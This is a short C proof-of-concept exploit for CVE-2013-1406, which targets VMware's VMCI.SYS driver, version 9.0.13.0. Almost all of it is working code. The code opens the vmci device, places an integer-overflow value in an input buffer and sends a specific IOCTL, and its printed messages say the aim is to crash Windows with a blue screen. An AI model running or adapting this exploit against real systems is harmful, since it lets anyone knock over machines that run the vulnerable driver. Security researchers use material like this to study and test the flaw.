CVE-2013-1406 PoC DOS exploit

/*
This PoC only for version
VMCI.SYS 9.0.13.0
*/

#include "stdafx.h"
#include "windows.h"

#define count_massive 0x189
#define ioctl_vmsock  0x8103208C
#define integer_overflow_size 0x12492492;


int _tmain(int argc, _TCHAR* argv[])
{
    HANDLE vmci_device;
    DWORD bytesRet;
    int inbuf [count_massive];
    int outbuf[count_massive];
    int size_=count_massive*sizeof(int);

    printf("**************************************************\r\n");
    printf("[*]0x16/7ton CVE-2013-1406 simple PoC DOS exploit*\r\n");
    printf("**************************************************\r\n");
    //opening vmci interface device
    vmci_device=CreateFileW(L"\\\\.\\vmci",GENERIC_READ,FILE_SHARE_WRITE|FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL);
    if (vmci_device!=INVALID_HANDLE_VALUE)
    {
        printf("[+]vmci device opened \r\n");
        //prepare input buffer
        memset(&inbuf,0,size_);
        //vulnerable to integer overflowing parameter
        inbuf[4]=integer_overflow_size;
        printf("[+]After delaying we send IOCTL,prepare to BSOD \r\n");
        //Delaying signed with Diablo stamp :D
        Sleep(0x29a);
        Sleep(0x1000);
        DeviceIoControl(vmci_device,ioctl_vmsock,&inbuf,size_,&outbuf,size_,&bytesRet,NULL);
        CloseHandle(vmci_device);
    }
    else
    {
        printf("[-]Error: Can't open vmci device!\r\n");
    }
    return 0;
}